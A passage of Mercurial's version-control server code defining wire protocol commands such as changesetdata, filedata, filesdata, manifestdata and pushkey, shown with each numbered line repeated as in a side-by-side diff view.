989 b'type': b'set',
990 b'default': set,
990 b'default': set,
991 b'example': {b'parents', b'revision'},
991 b'example': {b'parents', b'revision'},
992 b'validvalues': {b'bookmarks', b'parents', b'phase', b'revision'},
992 b'validvalues': {b'bookmarks', b'parents', b'phase', b'revision'},
993 },
993 },
994 },
994 },
995 permission=b'pull',
995 permission=b'pull',
996 )
996 )
997 def changesetdata(repo, proto, revisions, fields):
997 def changesetdata(repo, proto, revisions, fields):
998 # TODO look for unknown fields and abort when they can't be serviced.
998 # TODO look for unknown fields and abort when they can't be serviced.
999 # This could probably be validated by dispatcher using validvalues.
999 # This could probably be validated by dispatcher using validvalues.
1000
1000
1001 cl = repo.changelog
1001 cl = repo.changelog
1002 outgoing = resolvenodes(repo, revisions)
1002 outgoing = resolvenodes(repo, revisions)
1003 publishing = repo.publishing()
1003 publishing = repo.publishing()
1004
1004
1005 if outgoing:
1005 if outgoing:
1006 repo.hook(b'preoutgoing', throw=True, source=b'serve')
1006 repo.hook(b'preoutgoing', throw=True, source=b'serve')
1007
1007
1008 yield {
1008 yield {
1009 b'totalitems': len(outgoing),
1009 b'totalitems': len(outgoing),
1010 }
1010 }
1011
1011
1012 # The phases of nodes already transferred to the client may have changed
1012 # The phases of nodes already transferred to the client may have changed
1013 # since the client last requested data. We send phase-only records
1013 # since the client last requested data. We send phase-only records
1014 # for these revisions, if requested.
1014 # for these revisions, if requested.
1015 # TODO actually do this. We'll probably want to emit phase heads
1015 # TODO actually do this. We'll probably want to emit phase heads
1016 # in the ancestry set of the outgoing revisions. This will ensure
1016 # in the ancestry set of the outgoing revisions. This will ensure
1017 # that phase updates within that set are seen.
1017 # that phase updates within that set are seen.
1018 if b'phase' in fields:
1018 if b'phase' in fields:
1019 pass
1019 pass
1020
1020
1021 nodebookmarks = {}
1021 nodebookmarks = {}
1022 for mark, node in repo._bookmarks.items():
1022 for mark, node in repo._bookmarks.items():
1023 nodebookmarks.setdefault(node, set()).add(mark)
1023 nodebookmarks.setdefault(node, set()).add(mark)
1024
1024
1025 # It is already topologically sorted by revision number.
1025 # It is already topologically sorted by revision number.
1026 for node in outgoing:
1026 for node in outgoing:
1027 d = {
1027 d = {
1028 b'node': node,
1028 b'node': node,
1029 }
1029 }
1030
1030
1031 if b'parents' in fields:
1031 if b'parents' in fields:
1032 d[b'parents'] = cl.parents(node)
1032 d[b'parents'] = cl.parents(node)
1033
1033
1034 if b'phase' in fields:
1034 if b'phase' in fields:
1035 if publishing:
1035 if publishing:
1036 d[b'phase'] = b'public'
1036 d[b'phase'] = b'public'
1037 else:
1037 else:
1038 ctx = repo[node]
1038 ctx = repo[node]
1039 d[b'phase'] = ctx.phasestr()
1039 d[b'phase'] = ctx.phasestr()
1040
1040
1041 if b'bookmarks' in fields and node in nodebookmarks:
1041 if b'bookmarks' in fields and node in nodebookmarks:
1042 d[b'bookmarks'] = sorted(nodebookmarks[node])
1042 d[b'bookmarks'] = sorted(nodebookmarks[node])
1043 del nodebookmarks[node]
1043 del nodebookmarks[node]
1044
1044
1045 followingmeta = []
1045 followingmeta = []
1046 followingdata = []
1046 followingdata = []
1047
1047
1048 if b'revision' in fields:
1048 if b'revision' in fields:
1049 revisiondata = cl.rawdata(node)
1049 revisiondata = cl.rawdata(node)
1050 followingmeta.append((b'revision', len(revisiondata)))
1050 followingmeta.append((b'revision', len(revisiondata)))
1051 followingdata.append(revisiondata)
1051 followingdata.append(revisiondata)
1052
1052
1053 # TODO make it possible for extensions to wrap a function or register
1053 # TODO make it possible for extensions to wrap a function or register
1054 # a handler to service custom fields.
1054 # a handler to service custom fields.
1055
1055
1056 if followingmeta:
1056 if followingmeta:
1057 d[b'fieldsfollowing'] = followingmeta
1057 d[b'fieldsfollowing'] = followingmeta
1058
1058
1059 yield d
1059 yield d
1060
1060
1061 for extra in followingdata:
1061 for extra in followingdata:
1062 yield extra
1062 yield extra
1063
1063
1064 # If requested, send bookmarks from nodes that didn't have revision
1064 # If requested, send bookmarks from nodes that didn't have revision
1065 # data sent so receiver is aware of any bookmark updates.
1065 # data sent so receiver is aware of any bookmark updates.
1066 if b'bookmarks' in fields:
1066 if b'bookmarks' in fields:
1067 for node, marks in sorted(pycompat.iteritems(nodebookmarks)):
1067 for node, marks in sorted(pycompat.iteritems(nodebookmarks)):
1068 yield {
1068 yield {
1069 b'node': node,
1069 b'node': node,
1070 b'bookmarks': sorted(marks),
1070 b'bookmarks': sorted(marks),
1071 }
1071 }
1072
1072
1073
1073
1074 class FileAccessError(Exception):
1074 class FileAccessError(Exception):
1075 """Represents an error accessing a specific file."""
1075 """Represents an error accessing a specific file."""
1076
1076
1077 def __init__(self, path, msg, args):
1077 def __init__(self, path, msg, args):
1078 self.path = path
1078 self.path = path
1079 self.msg = msg
1079 self.msg = msg
1080 self.args = args
1080 self.args = args
1081
1081
1082
1082
1083 def getfilestore(repo, proto, path):
1083 def getfilestore(repo, proto, path):
1084 """Obtain a file storage object for use with wire protocol.
1084 """Obtain a file storage object for use with wire protocol.
1085
1085
1086 Exists as a standalone function so extensions can monkeypatch to add
1086 Exists as a standalone function so extensions can monkeypatch to add
1087 access control.
1087 access control.
1088 """
1088 """
1089 # This seems to work even if the file doesn't exist. So catch
1089 # This seems to work even if the file doesn't exist. So catch
1090 # "empty" files and return an error.
1090 # "empty" files and return an error.
1091 fl = repo.file(path)
1091 fl = repo.file(path)
1092
1092
1093 if not len(fl):
1093 if not len(fl):
1094 raise FileAccessError(path, b'unknown file: %s', (path,))
1094 raise FileAccessError(path, b'unknown file: %s', (path,))
1095
1095
1096 return fl
1096 return fl
1097
1097
1098
1098
1099 def emitfilerevisions(repo, path, revisions, linknodes, fields):
1099 def emitfilerevisions(repo, path, revisions, linknodes, fields):
1100 for revision in revisions:
1100 for revision in revisions:
1101 d = {
1101 d = {
1102 b'node': revision.node,
1102 b'node': revision.node,
1103 }
1103 }
1104
1104
1105 if b'parents' in fields:
1105 if b'parents' in fields:
1106 d[b'parents'] = [revision.p1node, revision.p2node]
1106 d[b'parents'] = [revision.p1node, revision.p2node]
1107
1107
1108 if b'linknode' in fields:
1108 if b'linknode' in fields:
1109 d[b'linknode'] = linknodes[revision.node]
1109 d[b'linknode'] = linknodes[revision.node]
1110
1110
1111 followingmeta = []
1111 followingmeta = []
1112 followingdata = []
1112 followingdata = []
1113
1113
1114 if b'revision' in fields:
1114 if b'revision' in fields:
1115 if revision.revision is not None:
1115 if revision.revision is not None:
1116 followingmeta.append((b'revision', len(revision.revision)))
1116 followingmeta.append((b'revision', len(revision.revision)))
1117 followingdata.append(revision.revision)
1117 followingdata.append(revision.revision)
1118 else:
1118 else:
1119 d[b'deltabasenode'] = revision.basenode
1119 d[b'deltabasenode'] = revision.basenode
1120 followingmeta.append((b'delta', len(revision.delta)))
1120 followingmeta.append((b'delta', len(revision.delta)))
1121 followingdata.append(revision.delta)
1121 followingdata.append(revision.delta)
1122
1122
1123 if followingmeta:
1123 if followingmeta:
1124 d[b'fieldsfollowing'] = followingmeta
1124 d[b'fieldsfollowing'] = followingmeta
1125
1125
1126 yield d
1126 yield d
1127
1127
1128 for extra in followingdata:
1128 for extra in followingdata:
1129 yield extra
1129 yield extra
1130
1130
1131
1131
1132 def makefilematcher(repo, pathfilter):
1132 def makefilematcher(repo, pathfilter):
1133 """Construct a matcher from a path filter dict."""
1133 """Construct a matcher from a path filter dict."""
1134
1134
1135 # Validate values.
1135 # Validate values.
1136 if pathfilter:
1136 if pathfilter:
1137 for key in (b'include', b'exclude'):
1137 for key in (b'include', b'exclude'):
1138 for pattern in pathfilter.get(key, []):
1138 for pattern in pathfilter.get(key, []):
1139 if not pattern.startswith((b'path:', b'rootfilesin:')):
1139 if not pattern.startswith((b'path:', b'rootfilesin:')):
1140 raise error.WireprotoCommandError(
1140 raise error.WireprotoCommandError(
1141 b'%s pattern must begin with `path:` or `rootfilesin:`; '
1141 b'%s pattern must begin with `path:` or `rootfilesin:`; '
1142 b'got %s',
1142 b'got %s',
1143 (key, pattern),
1143 (key, pattern),
1144 )
1144 )
1145
1145
1146 if pathfilter:
1146 if pathfilter:
1147 matcher = matchmod.match(
1147 matcher = matchmod.match(
1148 repo.root,
1148 repo.root,
1149 b'',
1149 b'',
1150 include=pathfilter.get(b'include', []),
1150 include=pathfilter.get(b'include', []),
1151 exclude=pathfilter.get(b'exclude', []),
1151 exclude=pathfilter.get(b'exclude', []),
1152 )
1152 )
1153 else:
1153 else:
1154 matcher = matchmod.match(repo.root, b'')
1154 matcher = matchmod.match(repo.root, b'')
1155
1155
1156 # Requested patterns could include files not in the local store. So
1156 # Requested patterns could include files not in the local store. So
1157 # filter those out.
1157 # filter those out.
1158 return repo.narrowmatch(matcher)
1158 return repo.narrowmatch(matcher)
1159
1159
1160
1160
1161 @wireprotocommand(
1161 @wireprotocommand(
1162 b'filedata',
1162 b'filedata',
1163 args={
1163 args={
1164 b'haveparents': {
1164 b'haveparents': {
1165 b'type': b'bool',
1165 b'type': b'bool',
1166 b'default': lambda: False,
1166 b'default': lambda: False,
1167 b'example': True,
1167 b'example': True,
1168 },
1168 },
1169 b'nodes': {b'type': b'list', b'example': [b'0123456...'],},
1169 b'nodes': {b'type': b'list', b'example': [b'0123456...'],},
1170 b'fields': {
1170 b'fields': {
1171 b'type': b'set',
1171 b'type': b'set',
1172 b'default': set,
1172 b'default': set,
1173 b'example': {b'parents', b'revision'},
1173 b'example': {b'parents', b'revision'},
1174 b'validvalues': {b'parents', b'revision', b'linknode'},
1174 b'validvalues': {b'parents', b'revision', b'linknode'},
1175 },
1175 },
1176 b'path': {b'type': b'bytes', b'example': b'foo.txt',},
1176 b'path': {b'type': b'bytes', b'example': b'foo.txt',},
1177 },
1177 },
1178 permission=b'pull',
1178 permission=b'pull',
1179 # TODO censoring a file revision won't invalidate the cache.
1179 # TODO censoring a file revision won't invalidate the cache.
1180 # Figure out a way to take censoring into account when deriving
1180 # Figure out a way to take censoring into account when deriving
1181 # the cache key.
1181 # the cache key.
1182 cachekeyfn=makecommandcachekeyfn(b'filedata', 1, allargs=True),
1182 cachekeyfn=makecommandcachekeyfn(b'filedata', 1, allargs=True),
1183 )
1183 )
1184 def filedata(repo, proto, haveparents, nodes, fields, path):
1184 def filedata(repo, proto, haveparents, nodes, fields, path):
1185 # TODO this API allows access to file revisions that are attached to
1185 # TODO this API allows access to file revisions that are attached to
1186 # secret changesets. filesdata does not have this problem. Maybe this
1186 # secret changesets. filesdata does not have this problem. Maybe this
1187 # API should be deleted?
1187 # API should be deleted?
1188
1188
1189 try:
1189 try:
1190 # Extensions may wish to access the protocol handler.
1190 # Extensions may wish to access the protocol handler.
1191 store = getfilestore(repo, proto, path)
1191 store = getfilestore(repo, proto, path)
1192 except FileAccessError as e:
1192 except FileAccessError as e:
1193 raise error.WireprotoCommandError(e.msg, e.args)
1193 raise error.WireprotoCommandError(e.msg, e.args)
1194
1194
1195 clnode = repo.changelog.node
1195 clnode = repo.changelog.node
1196 linknodes = {}
1196 linknodes = {}
1197
1197
1198 # Validate requested nodes.
1198 # Validate requested nodes.
1199 for node in nodes:
1199 for node in nodes:
1200 try:
1200 try:
1201 store.rev(node)
1201 store.rev(node)
1202 except error.LookupError:
1202 except error.LookupError:
1203 raise error.WireprotoCommandError(
1203 raise error.WireprotoCommandError(
1204 b'unknown file node: %s', (hex(node),)
1204 b'unknown file node: %s', (hex(node),)
1205 )
1205 )
1206
1206
1207 # TODO by creating the filectx against a specific file revision
1207 # TODO by creating the filectx against a specific file revision
1208 # instead of changeset, linkrev() is always used. This is wrong for
1208 # instead of changeset, linkrev() is always used. This is wrong for
1209 # cases where linkrev() may refer to a hidden changeset. But since this
1209 # cases where linkrev() may refer to a hidden changeset. But since this
1210 # API doesn't know anything about changesets, we're not sure how to
1210 # API doesn't know anything about changesets, we're not sure how to
1211 # disambiguate the linknode. Perhaps we should delete this API?
1211 # disambiguate the linknode. Perhaps we should delete this API?
1212 fctx = repo.filectx(path, fileid=node)
1212 fctx = repo.filectx(path, fileid=node)
1213 linknodes[node] = clnode(fctx.introrev())
1213 linknodes[node] = clnode(fctx.introrev())
1214
1214
1215 revisions = store.emitrevisions(
1215 revisions = store.emitrevisions(
1216 nodes,
1216 nodes,
1217 revisiondata=b'revision' in fields,
1217 revisiondata=b'revision' in fields,
1218 assumehaveparentrevisions=haveparents,
1218 assumehaveparentrevisions=haveparents,
1219 )
1219 )
1220
1220
1221 yield {
1221 yield {
1222 b'totalitems': len(nodes),
1222 b'totalitems': len(nodes),
1223 }
1223 }
1224
1224
1225 for o in emitfilerevisions(repo, path, revisions, linknodes, fields):
1225 for o in emitfilerevisions(repo, path, revisions, linknodes, fields):
1226 yield o
1226 yield o
1227
1227
1228
1228
1229 def filesdatacapabilities(repo, proto):
1229 def filesdatacapabilities(repo, proto):
1230 batchsize = repo.ui.configint(
1230 batchsize = repo.ui.configint(
1231 b'experimental', b'server.filesdata.recommended-batch-size'
1231 b'experimental', b'server.filesdata.recommended-batch-size'
1232 )
1232 )
1233 return {
1233 return {
1234 b'recommendedbatchsize': batchsize,
1234 b'recommendedbatchsize': batchsize,
1235 }
1235 }
1236
1236
1237
1237
1238 @wireprotocommand(
1238 @wireprotocommand(
1239 b'filesdata',
1239 b'filesdata',
1240 args={
1240 args={
1241 b'haveparents': {
1241 b'haveparents': {
1242 b'type': b'bool',
1242 b'type': b'bool',
1243 b'default': lambda: False,
1243 b'default': lambda: False,
1244 b'example': True,
1244 b'example': True,
1245 },
1245 },
1246 b'fields': {
1246 b'fields': {
1247 b'type': b'set',
1247 b'type': b'set',
1248 b'default': set,
1248 b'default': set,
1249 b'example': {b'parents', b'revision'},
1249 b'example': {b'parents', b'revision'},
1250 b'validvalues': {
1250 b'validvalues': {
1251 b'firstchangeset',
1251 b'firstchangeset',
1252 b'linknode',
1252 b'linknode',
1253 b'parents',
1253 b'parents',
1254 b'revision',
1254 b'revision',
1255 },
1255 },
1256 },
1256 },
1257 b'pathfilter': {
1257 b'pathfilter': {
1258 b'type': b'dict',
1258 b'type': b'dict',
1259 b'default': lambda: None,
1259 b'default': lambda: None,
1260 b'example': {b'include': [b'path:tests']},
1260 b'example': {b'include': [b'path:tests']},
1261 },
1261 },
1262 b'revisions': {
1262 b'revisions': {
1263 b'type': b'list',
1263 b'type': b'list',
1264 b'example': [
1264 b'example': [
1265 {b'type': b'changesetexplicit', b'nodes': [b'abcdef...'],}
1265 {b'type': b'changesetexplicit', b'nodes': [b'abcdef...'],}
1266 ],
1266 ],
1267 },
1267 },
1268 },
1268 },
1269 permission=b'pull',
1269 permission=b'pull',
1270 # TODO censoring a file revision won't invalidate the cache.
1270 # TODO censoring a file revision won't invalidate the cache.
1271 # Figure out a way to take censoring into account when deriving
1271 # Figure out a way to take censoring into account when deriving
1272 # the cache key.
1272 # the cache key.
1273 cachekeyfn=makecommandcachekeyfn(b'filesdata', 1, allargs=True),
1273 cachekeyfn=makecommandcachekeyfn(b'filesdata', 1, allargs=True),
1274 extracapabilitiesfn=filesdatacapabilities,
1274 extracapabilitiesfn=filesdatacapabilities,
1275 )
1275 )
1276 def filesdata(repo, proto, haveparents, fields, pathfilter, revisions):
1276 def filesdata(repo, proto, haveparents, fields, pathfilter, revisions):
1277 # TODO This should operate on a repo that exposes obsolete changesets. There
1277 # TODO This should operate on a repo that exposes obsolete changesets. There
1278 # is a race between a client making a push that obsoletes a changeset and
1278 # is a race between a client making a push that obsoletes a changeset and
1279 # another client fetching files data for that changeset. If a client has a
1279 # another client fetching files data for that changeset. If a client has a
1280 # changeset, it should probably be allowed to access files data for that
1280 # changeset, it should probably be allowed to access files data for that
1281 # changeset.
1281 # changeset.
1282
1282
1283 outgoing = resolvenodes(repo, revisions)
1283 outgoing = resolvenodes(repo, revisions)
1284 filematcher = makefilematcher(repo, pathfilter)
1284 filematcher = makefilematcher(repo, pathfilter)
1285
1285
1286 # path -> {fnode: linknode}
1286 # path -> {fnode: linknode}
1287 fnodes = collections.defaultdict(dict)
1287 fnodes = collections.defaultdict(dict)
1288
1288
1289 # We collect the set of relevant file revisions by iterating the changeset
1289 # We collect the set of relevant file revisions by iterating the changeset
1290 # revisions and either walking the set of files recorded in the changeset
1290 # revisions and either walking the set of files recorded in the changeset
1291 # or by walking the manifest at that revision. There is probably room for a
1291 # or by walking the manifest at that revision. There is probably room for a
1292 # storage-level API to request this data, as it can be expensive to compute
1292 # storage-level API to request this data, as it can be expensive to compute
1293 # and would benefit from caching or alternate storage from what revlogs
1293 # and would benefit from caching or alternate storage from what revlogs
1294 # provide.
1294 # provide.
1295 for node in outgoing:
1295 for node in outgoing:
1296 ctx = repo[node]
1296 ctx = repo[node]
1297 mctx = ctx.manifestctx()
1297 mctx = ctx.manifestctx()
1298 md = mctx.read()
1298 md = mctx.read()
1299
1299
1300 if haveparents:
1300 if haveparents:
1301 checkpaths = ctx.files()
1301 checkpaths = ctx.files()
1302 else:
1302 else:
1303 checkpaths = md.keys()
1303 checkpaths = md.keys()
1304
1304
1305 for path in checkpaths:
1305 for path in checkpaths:
1306 fnode = md[path]
1306 fnode = md[path]
1307
1307
1308 if path in fnodes and fnode in fnodes[path]:
1308 if path in fnodes and fnode in fnodes[path]:
1309 continue
1309 continue
1310
1310
1311 if not filematcher(path):
1311 if not filematcher(path):
1312 continue
1312 continue
1313
1313
1314 fnodes[path].setdefault(fnode, node)
1314 fnodes[path].setdefault(fnode, node)
1315
1315
1316 yield {
1316 yield {
1317 b'totalpaths': len(fnodes),
1317 b'totalpaths': len(fnodes),
1318 b'totalitems': sum(len(v) for v in fnodes.values()),
1318 b'totalitems': sum(len(v) for v in fnodes.values()),
1319 }
1319 }
1320
1320
1321 for path, filenodes in sorted(fnodes.items()):
1321 for path, filenodes in sorted(fnodes.items()):
1322 try:
1322 try:
1323 store = getfilestore(repo, proto, path)
1323 store = getfilestore(repo, proto, path)
1324 except FileAccessError as e:
1324 except FileAccessError as e:
1325 raise error.WireprotoCommandError(e.msg, e.args)
1325 raise error.WireprotoCommandError(e.msg, e.args)
1326
1326
1327 yield {
1327 yield {
1328 b'path': path,
1328 b'path': path,
1329 b'totalitems': len(filenodes),
1329 b'totalitems': len(filenodes),
1330 }
1330 }
1331
1331
1332 revisions = store.emitrevisions(
1332 revisions = store.emitrevisions(
1333 filenodes.keys(),
1333 filenodes.keys(),
1334 revisiondata=b'revision' in fields,
1334 revisiondata=b'revision' in fields,
1335 assumehaveparentrevisions=haveparents,
1335 assumehaveparentrevisions=haveparents,
1336 )
1336 )
1337
1337
1338 for o in emitfilerevisions(repo, path, revisions, filenodes, fields):
1338 for o in emitfilerevisions(repo, path, revisions, filenodes, fields):
1339 yield o
1339 yield o
1340
1340
1341
1341
1342 @wireprotocommand(
1342 @wireprotocommand(
1343 b'heads',
1343 b'heads',
1344 args={
1344 args={
1345 b'publiconly': {
1345 b'publiconly': {
1346 b'type': b'bool',
1346 b'type': b'bool',
1347 b'default': lambda: False,
1347 b'default': lambda: False,
1348 b'example': False,
1348 b'example': False,
1349 },
1349 },
1350 },
1350 },
1351 permission=b'pull',
1351 permission=b'pull',
1352 )
1352 )
1353 def headsv2(repo, proto, publiconly):
1353 def headsv2(repo, proto, publiconly):
1354 if publiconly:
1354 if publiconly:
1355 repo = repo.filtered(b'immutable')
1355 repo = repo.filtered(b'immutable')
1356
1356
1357 yield repo.heads()
1357 yield repo.heads()
1358
1358
1359
1359
1360 @wireprotocommand(
1360 @wireprotocommand(
1361 b'known',
1361 b'known',
1362 args={
1362 args={
1363 b'nodes': {
1363 b'nodes': {
1364 b'type': b'list',
1364 b'type': b'list',
1365 b'default': list,
1365 b'default': list,
1366 b'example': [b'deadbeef'],
1366 b'example': [b'deadbeef'],
1367 },
1367 },
1368 },
1368 },
1369 permission=b'pull',
1369 permission=b'pull',
1370 )
1370 )
1371 def knownv2(repo, proto, nodes):
1371 def knownv2(repo, proto, nodes):
1372 result = b''.join(b'1' if n else b'0' for n in repo.known(nodes))
1372 result = b''.join(b'1' if n else b'0' for n in repo.known(nodes))
1373 yield result
1373 yield result
1374
1374
1375
1375
1376 @wireprotocommand(
1376 @wireprotocommand(
1377 b'listkeys',
1377 b'listkeys',
1378 args={b'namespace': {b'type': b'bytes', b'example': b'ns',},},
1378 args={b'namespace': {b'type': b'bytes', b'example': b'ns',},},
1379 permission=b'pull',
1379 permission=b'pull',
1380 )
1380 )
1381 def listkeysv2(repo, proto, namespace):
1381 def listkeysv2(repo, proto, namespace):
1382 keys = repo.listkeys(encoding.tolocal(namespace))
1382 keys = repo.listkeys(encoding.tolocal(namespace))
1383 keys = {
1383 keys = {
1384 encoding.fromlocal(k): encoding.fromlocal(v)
1384 encoding.fromlocal(k): encoding.fromlocal(v)
1385 for k, v in pycompat.iteritems(keys)
1385 for k, v in pycompat.iteritems(keys)
1386 }
1386 }
1387
1387
1388 yield keys
1388 yield keys
1389
1389
1390
1390
1391 @wireprotocommand(
1391 @wireprotocommand(
1392 b'lookup',
1392 b'lookup',
1393 args={b'key': {b'type': b'bytes', b'example': b'foo',},},
1393 args={b'key': {b'type': b'bytes', b'example': b'foo',},},
1394 permission=b'pull',
1394 permission=b'pull',
1395 )
1395 )
1396 def lookupv2(repo, proto, key):
1396 def lookupv2(repo, proto, key):
1397 key = encoding.tolocal(key)
1397 key = encoding.tolocal(key)
1398
1398
1399 # TODO handle exception.
1399 # TODO handle exception.
1400 node = repo.lookup(key)
1400 node = repo.lookup(key)
1401
1401
1402 yield node
1402 yield node
1403
1403
1404
1404
1405 def manifestdatacapabilities(repo, proto):
1405 def manifestdatacapabilities(repo, proto):
1406 batchsize = repo.ui.configint(
1406 batchsize = repo.ui.configint(
1407 b'experimental', b'server.manifestdata.recommended-batch-size'
1407 b'experimental', b'server.manifestdata.recommended-batch-size'
1408 )
1408 )
1409
1409
1410 return {
1410 return {
1411 b'recommendedbatchsize': batchsize,
1411 b'recommendedbatchsize': batchsize,
1412 }
1412 }
1413
1413
1414
1414
1415 @wireprotocommand(
1415 @wireprotocommand(
1416 b'manifestdata',
1416 b'manifestdata',
1417 args={
1417 args={
1418 b'nodes': {b'type': b'list', b'example': [b'0123456...'],},
1418 b'nodes': {b'type': b'list', b'example': [b'0123456...'],},
1419 b'haveparents': {
1419 b'haveparents': {
1420 b'type': b'bool',
1420 b'type': b'bool',
1421 b'default': lambda: False,
1421 b'default': lambda: False,
1422 b'example': True,
1422 b'example': True,
1423 },
1423 },
1424 b'fields': {
1424 b'fields': {
1425 b'type': b'set',
1425 b'type': b'set',
1426 b'default': set,
1426 b'default': set,
1427 b'example': {b'parents', b'revision'},
1427 b'example': {b'parents', b'revision'},
1428 b'validvalues': {b'parents', b'revision'},
1428 b'validvalues': {b'parents', b'revision'},
1429 },
1429 },
1430 b'tree': {b'type': b'bytes', b'example': b'',},
1430 b'tree': {b'type': b'bytes', b'example': b'',},
1431 },
1431 },
1432 permission=b'pull',
1432 permission=b'pull',
1433 cachekeyfn=makecommandcachekeyfn(b'manifestdata', 1, allargs=True),
1433 cachekeyfn=makecommandcachekeyfn(b'manifestdata', 1, allargs=True),
1434 extracapabilitiesfn=manifestdatacapabilities,
1434 extracapabilitiesfn=manifestdatacapabilities,
1435 )
1435 )
1436 def manifestdata(repo, proto, haveparents, nodes, fields, tree):
1436 def manifestdata(repo, proto, haveparents, nodes, fields, tree):
1437 store = repo.manifestlog.getstorage(tree)
1437 store = repo.manifestlog.getstorage(tree)
1438
1438
1439 # Validate the node is known and abort on unknown revisions.
1439 # Validate the node is known and abort on unknown revisions.
1440 for node in nodes:
1440 for node in nodes:
1441 try:
1441 try:
1442 store.rev(node)
1442 store.rev(node)
1443 except error.LookupError:
1443 except error.LookupError:
1444 raise error.WireprotoCommandError(b'unknown node: %s', (node,))
1444 raise error.WireprotoCommandError(b'unknown node: %s', (node,))
1445
1445
1446 revisions = store.emitrevisions(
1446 revisions = store.emitrevisions(
1447 nodes,
1447 nodes,
1448 revisiondata=b'revision' in fields,
1448 revisiondata=b'revision' in fields,
1449 assumehaveparentrevisions=haveparents,
1449 assumehaveparentrevisions=haveparents,
1450 )
1450 )
1451
1451
1452 yield {
1452 yield {
1453 b'totalitems': len(nodes),
1453 b'totalitems': len(nodes),
1454 }
1454 }
1455
1455
1456 for revision in revisions:
1456 for revision in revisions:
1457 d = {
1457 d = {
1458 b'node': revision.node,
1458 b'node': revision.node,
1459 }
1459 }
1460
1460
1461 if b'parents' in fields:
1461 if b'parents' in fields:
1462 d[b'parents'] = [revision.p1node, revision.p2node]
1462 d[b'parents'] = [revision.p1node, revision.p2node]
1463
1463
1464 followingmeta = []
1464 followingmeta = []
1465 followingdata = []
1465 followingdata = []
1466
1466
1467 if b'revision' in fields:
1467 if b'revision' in fields:
1468 if revision.revision is not None:
1468 if revision.revision is not None:
1469 followingmeta.append((b'revision', len(revision.revision)))
1469 followingmeta.append((b'revision', len(revision.revision)))
1470 followingdata.append(revision.revision)
1470 followingdata.append(revision.revision)
1471 else:
1471 else:
1472 d[b'deltabasenode'] = revision.basenode
1472 d[b'deltabasenode'] = revision.basenode
1473 followingmeta.append((b'delta', len(revision.delta)))
1473 followingmeta.append((b'delta', len(revision.delta)))
1474 followingdata.append(revision.delta)
1474 followingdata.append(revision.delta)
1475
1475
1476 if followingmeta:
1476 if followingmeta:
1477 d[b'fieldsfollowing'] = followingmeta
1477 d[b'fieldsfollowing'] = followingmeta
1478
1478
1479 yield d
1479 yield d
1480
1480
1481 for extra in followingdata:
1481 for extra in followingdata:
1482 yield extra
1482 yield extra
1483
1483
1484
1484
1485 @wireprotocommand(
1485 @wireprotocommand(
1486 b'pushkey',
1486 b'pushkey',
1487 args={
1487 args={
1488 b'namespace': {b'type': b'bytes', b'example': b'ns',},
1488 b'namespace': {b'type': b'bytes', b'example': b'ns',},
1489 b'key': {b'type': b'bytes', b'example': b'key',},
1489 b'key': {b'type': b'bytes', b'example': b'key',},
1490 b'old': {b'type': b'bytes', b'example': b'old',},
1490 b'old': {b'type': b'bytes', b'example': b'old',},
1491 b'new': {b'type': b'bytes', b'example': b'new',},
1491 b'new': {b'type': b'bytes', b'example': b'new',},
1492 },
1492 },
1493 permission=b'push',
1493 permission=b'push',
1494 )
1494 )
1495 def pushkeyv2(repo, proto, namespace, key, old, new):
1495 def pushkeyv2(repo, proto, namespace, key, old, new):
1496 # TODO handle ui output redirection
1496 # TODO handle ui output redirection
1497 yield repo.pushkey(
1497 yield repo.pushkey(
1498 encoding.tolocal(namespace),
1498 encoding.tolocal(namespace),
1499 encoding.tolocal(key),
1499 encoding.tolocal(key),
1500 encoding.tolocal(old),
1500 encoding.tolocal(old),
1501 encoding.tolocal(new),
1501 encoding.tolocal(new),
1502 )
1502 )
1503
1503
1504
1504
1505 @wireprotocommand(
1505 @wireprotocommand(
1506 b'rawstorefiledata',
1506 b'rawstorefiledata',
1507 args={
1507 args={
1508 b'files': {
1508 b'files': {
1509 b'type': b'list',
1509 b'type': b'list',
1510 b'example': [b'changelog', b'manifestlog'],
1510 b'example': [b'changelog', b'manifestlog'],
1511 },
1511 },
1512 b'pathfilter': {
1512 b'pathfilter': {
1513 b'type': b'list',
1513 b'type': b'list',
1514 b'default': lambda: None,
1514 b'default': lambda: None,
1515 b'example': {b'include': [b'path:tests']},
1515 b'example': {b'include': [b'path:tests']},
1516 },
1516 },
1517 },
1517 },
1518 permission=b'pull',
1518 permission=b'pull',
1519 )
1519 )
1520 def rawstorefiledata(repo, proto, files, pathfilter):
1520 def rawstorefiledata(repo, proto, files, pathfilter):
1521 if not streamclone.allowservergeneration(repo):
1521 if not streamclone.allowservergeneration(repo):
1522 raise error.WireprotoCommandError(b'stream clone is disabled')
1522 raise error.WireprotoCommandError(b'stream clone is disabled')
1523
1523
1524 # TODO support dynamically advertising what store files "sets" are
1524 # TODO support dynamically advertising what store files "sets" are
1525 # available. For now, we support changelog, manifestlog, and files.
1525 # available. For now, we support changelog, manifestlog, and files.
1526 files = set(files)
1526 files = set(files)
1527 allowedfiles = {b'changelog', b'manifestlog'}
1527 allowedfiles = {b'changelog', b'manifestlog'}
1528
1528
1529 unsupported = files - allowedfiles
1529 unsupported = files - allowedfiles
1530 if unsupported:
1530 if unsupported:
1531 raise error.WireprotoCommandError(
1531 raise error.WireprotoCommandError(
1532 b'unknown file type: %s', (b', '.join(sorted(unsupported)),)
1532 b'unknown file type: %s', (b', '.join(sorted(unsupported)),)
1533 )
1533 )
1534
1534
1535 with repo.lock():
1535 with repo.lock():
1536 topfiles = list(repo.store.topfiles())
1536 topfiles = list(repo.store.topfiles())
1537
1537
1538 sendfiles = []
1538 sendfiles = []
1539 totalsize = 0
1539 totalsize = 0
1540
1540
1541 # TODO this is a bunch of storage layer interface abstractions because
1541 # TODO this is a bunch of storage layer interface abstractions because
1542 # it assumes revlogs.
1542 # it assumes revlogs.
1543 for name, encodedname, size in topfiles:
1543 for name, encodedname, size in topfiles:
1544 if b'changelog' in files and name.startswith(b'00changelog'):
1544 if b'changelog' in files and name.startswith(b'00changelog'):
1545 pass
1545 pass
1546 elif b'manifestlog' in files and name.startswith(b'00manifest'):
1546 elif b'manifestlog' in files and name.startswith(b'00manifest'):
1547 pass
1547 pass
1548 else:
1548 else:
1549 continue
1549 continue
1550
1550
1551 sendfiles.append((b'store', name, size))
1551 sendfiles.append((b'store', name, size))
1552 totalsize += size
1552 totalsize += size
1553
1553
1554 yield {
1554 yield {
1555 b'filecount': len(sendfiles),
1555 b'filecount': len(sendfiles),
1556 b'totalsize': totalsize,
1556 b'totalsize': totalsize,
1557 }
1557 }
1558
1558
1559 for location, name, size in sendfiles:
1559 for location, name, size in sendfiles:
1560 yield {
1560 yield {
1561 b'location': location,
1561 b'location': location,
